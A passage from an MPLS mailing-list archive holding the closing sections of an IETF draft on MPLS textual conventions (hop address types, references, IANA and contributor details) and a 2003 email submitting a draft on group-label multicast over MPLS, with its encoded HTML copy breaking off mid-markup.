                              defined by the TeHopAddressAS
                              TEXTUAL-CONVENTION.

                 unnum(4)     An unnumbered interface index as
                              defined by the TeHopAddressUnnum
                              TEXTUAL-CONVETION.

                 lspid(5)     An LSP ID for TE Tunnels
                              (RFC3212) as defined by the
                              MplsLSPID TEXTUAL-CONVENTION.

                 Each definition of a concrete TeHopAddressType
                 value must be accompanied by a definition
                 of a textual convention for use with that
                 TeHopAddress.

                 To support future extensions, the TeHopAddressType
                 TEXTUAL-CONVENTION SHOULD NOT be sub-typed in
                 object type definitions.  It MAY be sub-typed in
                 compliance statements in order to require only a
                 subset of these address types for a compliant
                 implementation.

                 Implementations must ensure that TeHopAddressType
                 objects and any dependent objects
                 (e.g. TeHopAddress objects) are consistent.
                 An inconsistentValue error must be generated
                 if an attempt to change a TeHopAddressType
                 object would, for example, lead to an
                 undefined TeHopAddress value that is
                 not defined herein.  In particular,
                 TeHopAddressType/TeHopAddress pairs
                 must be changed together if the address
                 type changes (e.g. from ipv6(2) to ipv4(1))."


Expires April 2004                                             [Page =
16]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


             REFERENCE
                "Textual Conventions for Internet Network
                 Addresses, RFC3291.

                 Constraint-Based LSP Setup using LDP,
                 RFC3212."

             SYNTAX     INTEGER {
                           unknown(0),
                           ipv4(1),
                           ipv6(2),
                           asnumber(3),
                           unnum(4),
                           lspid(5)
                        }


          TeHopAddress ::=3D TEXTUAL-CONVENTION
             STATUS     current
             DESCRIPTION
                "Denotes a generic Tunnel hop address,
                 that is, the address of a node which
                 an LSP traverses, including the source
                 and destination nodes.  An address may be
                 very concrete, for example, an IPv4 host
                 address (i.e., with prefix length 32);
                 if this IPv4 address is an interface
                 address, then that particular interface
                 must be traversed.  An address may also
                 specify an 'abstract node', for example,
                 an IPv4 address with prefix length
                 less than 32, in which case, the LSP
                 can traverse any node whose address
                 falls in that range.  An address may
                 also specify an Autonomous System (AS),
                 in which  case the LSP can traverse any
                 node that falls within that AS.

                 A TeHopAddress value is always interpreted within
                 the context of an TeHopAddressType value.  Every
                 usage of the TeHopAddress TEXTUAL-CONVENTION
                 is required to specify the TeHopAddressType object
                 which provides the context.  It is suggested that
                 the TeHopAddressType object is logically registered
                 before the object(s) which use the TeHopAddress
                 TEXTUAL-CONVENTION if they appear in the


Expires April 2004                                             [Page =
17]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                 same logical row.

                 The value of a TeHopAddress object must always be
                 consistent with the value of the associated
                 TeHopAddressType object.  Attempts to set a
                 TeHopAddress object to a value which is
                 inconsistent with the associated TeHopAddressType
                 must fail with an inconsistentValue error."
             SYNTAX     OCTET STRING (SIZE (0..32))

          TeHopAddressAS ::=3D TEXTUAL-CONVENTION
             STATUS      current
             DESCRIPTION
                "Represents a two or four octet AS number.
                 The AS number is represented in network byte
                 order (MSB first).  A two-octet AS number has
                 the two MSB octets set to zero."
             REFERENCE
                "Textual Conventions for Internet Network
                 Addresses, RFC3291. The
                 InetAutonomousSystemsNumber Textual Convention
                 has a SYNTAX of Unsigned32, whereas this TC
                 has a SYNTAX of OCTET STRING (SIZE (4)).
                 Both TCs represent an autonomous system number
                 but use different syntaxes to do so."
             SYNTAX      OCTET STRING (SIZE (4))


          TeHopAddressUnnum ::=3D TEXTUAL-CONVENTION
             STATUS      current
             DESCRIPTION
                "Represents an unnumbered interface:

                 octets   contents               encoding
                  1-4     unnumbered interface   network-byte order

                 The corresponding TeHopAddressType value is
                 unnum(5)."
             SYNTAX      OCTET STRING(SIZE(4))


     END






Expires April 2004                                             [Page =
18]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


4.  Normative References

[RFC2434]   Narten, T. and H. Alvestrand, "Guidelines for Writing an
            IANA Considerations Section in RFCs", BCP: 26, RFC 2434,
            October 1998.

[RFC2578]   McCloghrie, K., Perkins, D., Schoenwaelder, J., Case, J.,
            Rose, M. and S. Waldbusser, "Structure of Management
            Information Version 2 (SMIv2)", STD 58, RFC 2578, April
            1999.

[RFC2579]   McCloghrie, K., Perkins, D., Schoenwaelder, J., Case, J.,
            Rose, M. and S. Waldbusser, "Textual Conventions for =
SMIv2",
            STD 58, RFC 2579, April 1999.

[RFC2580]   McCloghrie, K., Perkins, D., Schoenwaelder, J., Case, J.,
            Rose, M. and S. Waldbusser, "Conformance Statements for
            SMIv2", STD 58, RFC 2580, April 1999.

[RFC3031]   Rosen, E., Viswananthan, A., and R. Callon, "Multiprotocol
            Label Switching Architecture", RFC 3031, January 2001.

[RFC3032]   Rosen, E., Rekhter, Y., Tappan, D., Farinacci, D.,
            Federokow, G., Li, T., and A. Conta, "MPLS Label Stack
            Encoding", RFC 3032, January 2001.

[RFC3034]   Conta, A., Doolan, P., and A. Malis, "Use of Label =
Switching
            on Frame Relay Networks Specification", RFC 3034, January
            2001.

[RFC3035]   Davie, B., Lawrence, J., McCloghrie, K., Rosen, E., =
Swallow,
            G., Rekhter, Y., and P. Doolan, "MPLS using LDP and ATM VC
            Switching", RFC 3035, January 2001.

[RFC3036]   Andersson, L., Doolan, P., Feldman, N., Fredette, A., and =
B.
            Thomas, "LDP Specification", RFC 3036, January 2001.

[RFC3209]   Awduche, D., Berger, L., Gan, D., Li, T., Srinivasan, V.,
            Swallow, G., "RSVP-TE: Extensions to RSVP for LSP Tunnels",
            RFC 3209, December 2001.

[RFC3212]   Jamoussi, B., (editor), et. al.  "Constraint-Based LSP =
Setup
            using LDP", RFC 3212, January 2002.

[RFC3291]   Daniele, M., Haberman, B., Routhier, S., and J.
            Schoenwaelder, "Textual Conventions for Internet Network


Expires April 2004                                             [Page =
19]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


            Addresses", RFC 3291, May 2002.

[GMPLS-ARCH]
            Mannie, E., (editor), et. al.  "Generalized Multi-Protocol
            Label Switching (GMPLS) Architecture", draft-ietf-ccamp-
            gmpls-architecture-07.txt, May 2003.


5.  Informative References

[RFC3410]   Case, J., Mundy, R., Partain, D. and B. Stewart,
            "Introduction and Applicability Statements for Internet-
            Standard Management Framework", RFC 3410, December 2002.



6.  Security Considerations


   This module does not define any management objects. Instead, it
   defines a set of textual conventions which may be used by other MPLS
   MIB modules to define management objects.

   Meaningful security considerations can only be written in the MIB
   modules that define management objects. Therefore, this document has
   no impact on the security of the Internet.


7.  IANA Considerations

   IANA is requested to make a MIB OID assignment under the =
transmission
   branch, that is, assign the mplsStdMIB under { transmission 166 }.
   This sub-id is requested because 166 is the ifType for mpls(166) and
   is available under transmission.

   In the future, MPLS related standards track MIB modules should be
   rooted under the mplsStdMIB subtree.  The IANA is requested to =
manage
   that namespace.  New assignments can only be made via a Standards
   Action as specified in [RFC2434].

   This document also requests IANA to assign { mplsStdMIB 1 } to the
   MPLS-TC-STD-MIB specified in this document.






Expires April 2004                                             [Page =
20]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


8.  Contributors

   This document was created by combining TEXTUAL-CONVENTIONS from
   current MPLS MIBs and a TE-WG MIB.  Co-authors on each of these MIBs
   contributed to the TEXTUAL-CONVENTIONS contained in this MIB and =
also
   contributed greatly to the revisions of this document.  These co-
   authors addresses are included here because they are useful future
   contacts for information about this document.  These co-authors are:


                     Cheenu Srinivasan
                     Bloomberg L.P.
                     499 Park Ave.
                     New York, NY  10022
                     Phone: +1-212-893-3682
                     Email: cheenu@bloomberg.net

                     Arun Viswanathan
                     Force10 Networks, Inc.
                     1440 McCarthy Blvd
                     Milpitas, CA  95035
                     Phone: +1-408-571-3516
                     Email: arunv@force10networks.com

                     Hans Sjostrand
                     ipUnplugged
                     P.O. Box 101 60
                     S-121 28 Stockholm, Sweden
                     Phone: +46-8-725-5930
                     Email: hans@ipunplugged.com

                     Kireeti Kompella
                     Juniper Networks
                     1194 Mathilda Ave
                     Sunnyvale, CA  94089
                     Phone: +1-408-745-2000
                     Email: kireeti@juniper.net





9.  Acknowledgements

   This document is a product of the MPLS Working Group.  The editors
   and contributors would like to thank Mike MacFadden and Adrian =
Farrel


Expires April 2004                                             [Page =
21]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


   for their helpful comments on several reviews.  Also, the editors =
and
   contributors would like to give a special acknowledgement to Bert
   Wijnen for his many detailed reviews.  Bert's assistance and =
guidance
   is greatly appreciated.


10.  Intellectual Property Notice

   The IETF takes no position regarding the validity or scope of any
   intellectual property or other rights that might be claimed to
   pertain to the implementation or use of the technology described in
   this document or the extent to which any license under such rights
   might or might not be available; neither does it represent that it
   has made any effort to identify any such rights.  Information on the
   IETF's procedures with respect to rights in standards-track and
   standards-related documentation can be found in BCP-11 [RFC2028].
   Copies of claims of rights made available for publication and any
   assurances of licenses to be made available, or the result of an
   attempt made to obtain a general license or permission for the use =
of
   such proprietary rights by implementors or users of this
   specification can be obtained from the IETF Secretariat.

   The IETF invites any interested party to bring to its attention any
   copyrights, patents or patent applications, or other proprietary
   rights that may cover technology that may be required to practice
   this standard.  Please address the information to the IETF Executive
   Director.


11.  Authors' Addresses


                  Thomas D. Nadeau
                  Cisco Systems, Inc.
                  BXB300/2/
                  300 Beaver Brook Road
                  Boxborough, MA  01719
                  Phone: +1-978-936-1470
                  Email: tnadeau@cisco.com

                  Joan Cucchiara
                  Artel
                  237 Cedar Hill Street
                  Marlborough, MA  01752
                  Phone: +1-508-303-8200 x302
                  Email: jcucchiara@artel.com


Expires April 2004                                             [Page =
22]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


12.  Full Copyright Statement

   Copyright (C) The Internet Society (2003). All Rights Reserved.


   This document and translations of it may be copied and furnished to
   others, and derivative works that comment on or otherwise explain it
   or assist in its implementation may be prepared, copied, published
   and distributed, in whole or in part, without restriction of any
   kind, provided that the above copyright notice and this paragraph =
are
   included on all such copies and derivative works.  However, this
   document itself may not be modified in any way, such as by removing
   the copyright notice or references to the Internet Society or other
   Internet organizations, except as needed for the  purpose of
   developing Internet standards in which case the procedures for
   copyrights defined in the Internet Standards process must be
   followed, or as required to translate it into languages other than
   English.

   The limited permissions granted above are perpetual and will not be
   revoked by the Internet Society or its successors or assigns.

   This document and the information contained herein is provided on an
   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.




















Expires April 2004                                             [Page =
23]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003



------_=_NextPart_000_01C394B6.58F732E0--



From owner-mpls@UU.NET  Mon Oct 20 12:49:22 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03363
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 12:49:22 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplgd02695
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 16:49:30 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplgd02359;
	Mon, 20 Oct 2003 16:49:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplgc23563
	for mpls-outgoing; Mon, 20 Oct 2003 16:32:26 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplgc23556
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 16:32:24 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplgb22232
	for <mpls@uu.net>; Mon, 20 Oct 2003 16:23:09 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplgb17305
	for <mpls@uu.net>; Mon, 20 Oct 2003 16:23:08 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQplgb17274
	for <mpls@uu.net>; Mon, 20 Oct 2003 16:23:07 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-4.cisco.com (8.12.6/8.12.6) with ESMTP id h9KGN3bd023773
	for <mpls@uu.net>; Mon, 20 Oct 2003 09:23:03 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADH50830;
	Mon, 20 Oct 2003 12:23:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9KGN2E09846 for mpls@uu.net; Mon, 20 Oct 2003 12:23:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplga21624
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 16:12:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplga01520
	for <mpls@uu.net>; Mon, 20 Oct 2003 16:09:40 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplga25040
	for <mpls@uu.net>; Mon, 20 Oct 2003 16:09:39 GMT
Received: from icu.ac.kr by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.icu.ac.kr [210.107.128.19])
	id QQplga24996
	for <mpls@uu.net>; Mon, 20 Oct 2003 16:09:37 GMT
Received: from mssungbnlab (v33-237.icu.ac.kr [210.107.133.237])
	by icu.ac.kr (8.12.10/8.12.8) with ESMTP id h9KG434r010657;
	Tue, 21 Oct 2003 01:04:03 +0900 (KST)
From: "Min Suk Sung" <mssung@icu.ac.kr>
To: <Internet-Drafts@ietf.org>, "'George Swallow'" <swallow@cisco.com>,
        "'Loa Andersson'" <loa@pi.se>, "'Bert Wijnen'" <bwijnen@lucent.com>,
        "'Alex Zinin'" <zinin@psg.com>, "'Alex Zinin'" <zinin@psg.com>
Cc: <jkchoi@icu.ac.kr>, <shyang@etri.re.kr>, <khj@etri.re.kr>,
        <jh-yoo@etri.re.kr>, <holee@etri.re.kr>, <mpls@UU.NET>
Subject: MPLS individual draft submission - MPLS WG
Date: Mon, 20 Oct 2003 13:09:06 +0900
Message-ID: <000001c396bf$e8afc860$ed856bd2@mssungbnlab>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0001_01C3970B.58977060"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C3970B.58977060
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Dear IETF Secretariat, MPLS chairs
 
We submit an Internet-Draft: 
 
Title : Requirements for multicast service using a group label over MPLS
Author(s) : Jun Kyun Choi, et al
Filename : draft-choi-mpls-grouplable-requirement-01.txt
Pages : 18
 
Abstract
As the group communication becomes more important, the special label 
  should be allocated in support of group management and maintenance. 
  The allocation mechanism of a group label can be applied to a point-
  to-multipoint(P2MP) communication in MPLS networks. Currently used 
  label is locally significant, while this group label should be common 
  object within a single MPLS domain. 
  This document presents a set of requirements for multicast service 
  using a group label over Multiprotocol Label Switching(MPLS). It 
  identifies functional and performance capabilities required to 
  allocate a group label in master-slave network and peer to peer 
  network, which facilitates efficient and reliable group communication 
  and Quality of Service(QoS) in MPLS domain. It also identifies 
  functional capabilities required to implement convergence services 
  related to Content Distribution Network(CDN) and Virtual Private 
  Network(VPN). These capabilities can be used to provide high quality 
  and scalable service. 
  This document includes the allocation mechanism of a group label in 
  order to perform unidirectional P2MP communication.
 
Your feedback will be very much appreciated.
 
Could you give me 10 min to make a presentation?

Thanks.  
 
Min Suk Sung
 
Min Suk Sung (mssung@icu.ac.kr)
Broadband Network Laboratory (http://bnlab.icu.ac.kr/)
Information and Communications University(ICU)
58-4 Hwa-Ahm Dong, Yusong Gu, Taejon, Korea 305-732
(Tel) +82-42-866-6104, 016-532-2969
 

------=_NextPart_000_0001_01C3970B.58977060
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:p=3D"urn:schemas-microsoft-com:office:powerpoint" =
xmlns:oa=3D"urn:schemas-microsoft-com:office:activation" =
xmlns:st1=3D"urn:schemas-microsoft-com:office:smarttags" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C3970B.573DFAE0">
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"country-region"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"City"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PlaceType"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PlaceName"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"place"/>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  =
<w:DisplayHorizontalDrawingGridEvery>0</w:DisplayHorizontalDrawingGridEve=
ry>
  =
<w:DisplayVerticalDrawingGridEvery>2</w:DisplayVerticalDrawingGridEvery>
  <w:Compatibility>
   <w:SpaceForUL/>
   <w:BalanceSingleByteDoubleByteWidth/>
   <w:DoNotLeaveBackslashAlone/>
   <w:ULTrailSpace/>
   <w:DoNotExpandShiftReturn/>
   <w:AdjustLineHeightInTable/>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
   <w:UseFELayout/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]--><!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;
	mso-font-alt:Batang;
	mso-font-charset:129;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-1342176593 1775729915 48 0 524447 0;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;
	mso-font-alt:Gulim;
	mso-font-charset:129;
	mso-generic-font-family:modern;
	mso-font-pitch:variable;
	mso-font-signature:-1342176593 1775729915 48 0 524447 0;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;
	mso-font-charset:129;
	mso-generic-font-family:modern;
	mso-font-pitch:variable;
	mso-font-signature:-1342176593 1775729915 48 0 524447 0;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;
	mso-font-charset:129;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-1342176593 1775729915 48 0 524447 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	text-align:justify;
	text-justify:inter-ideograph;
	mso-pagination:none;
	text-autospace:none;
	word-break:break-hangul;
	font-size:10.0pt;
	mso-bidi-font-size:12.0pt;
	font-family:Batang;
	mso-hansi-font-family:"Times New Roman";
	mso-bidi-font-family:"Times New Roman";
	mso-font-kerning:1.0pt;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Gulim;
	mso-ascii-font-family:Gulim;
	mso-fareast-font-family:Gulim;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
 /* Page Definitions */
 @page
	{mso-page-border-surround-header:no;
	mso-page-border-surround-footer:no;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:99.25pt 3.0cm 3.0cm 3.0cm;
	mso-header-margin:42.55pt;
	mso-footer-margin:49.6pt;
	mso-paper-source:0;
	layout-grid:18.0pt;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"\D45C\C900 \D45C";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DKO link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:40.0pt'>

<div class=3DSection1 style=3D'layout-grid:18.0pt'>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'>Dear IETF Secretariat, =
MPLS
chairs<br>
&nbsp;<br>
We submit an Internet-Draft: </span></font><font size=3D3 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:12.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;
mso-font-kerning:0pt'><o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D3 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:12.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;
mso-font-kerning:0pt'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><span class=3DGramE><font =
size=3D2
face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:
10.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;mso-font-kerning:0pt'=
>Title
:</span></font></span><font face=3D&#44404;&#47548;><span lang=3DEN-US
style=3D'mso-bidi-font-size:10.0pt;font-family:Gulim;mso-bidi-font-family=
:Gulim;
mso-font-kerning:0pt'> </span></font><span lang=3DEN-US =
style=3D'mso-bidi-font-size:
10.0pt'>Requirements for multicast service using a group label over =
MPLS</span><font
face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;
font-family:Gulim;mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><br>
Author(s<span class=3DGramE>) :</span> Jun <span =
class=3DSpellE>Kyun</span> <span
class=3DSpellE>Choi</span>, et al<br>
<span class=3DGramE>Filename :</span> =
draft-choi-mpls-grouplable-requirement-01.txt<br>
<span class=3DGramE>Pages :</span> 18</span></font><font size=3D3 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:12.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;
mso-font-kerning:0pt'><o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D3 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:12.0pt;font-family:Gulim;mso-bidi-font-family:Gulim;
mso-font-kerning:0pt'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'>Abstract<o:p></o:p></spa=
n></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;text-indent:10.0pt;
mso-char-indent-count:1.0;mso-pagination:widow-orphan;layout-grid-mode:ch=
ar;
word-break:keep-all'><font size=3D2 face=3D&#44404;&#47548;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;mso=
-bidi-font-family:
Gulim;mso-font-kerning:0pt'>As the group communication becomes more =
important,
the special label <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>should</span> be
allocated in support of group management and maintenance. =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span>The allocation mechanism of a =
group
label can be applied to a point-<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span>to-<span =
class=3DGramE>multipoint(</span>P2MP)
communication in MPLS networks. Currently used =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>label</span> is
locally significant, while this group label should be common =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>object</span> within a
single MPLS domain. <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span>This document presents a set of
requirements for multicast service <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
